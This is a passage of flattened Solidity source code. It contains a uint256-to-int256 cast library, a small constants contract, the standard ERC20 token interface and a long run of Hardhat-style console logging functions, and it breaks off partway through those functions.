SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library CastU256I256 { /// @dev Safely cast an uint256 to an int256 function i256(uint256 x) internal pure returns (int256 y) { require (x <= uint256(type(int256).max), "Cast overflow"); y = int256(x); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; contract Constants { bytes32 CHI = "CHI"; bytes32 RATE = "RATE"; bytes6 ETH = "00"; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", 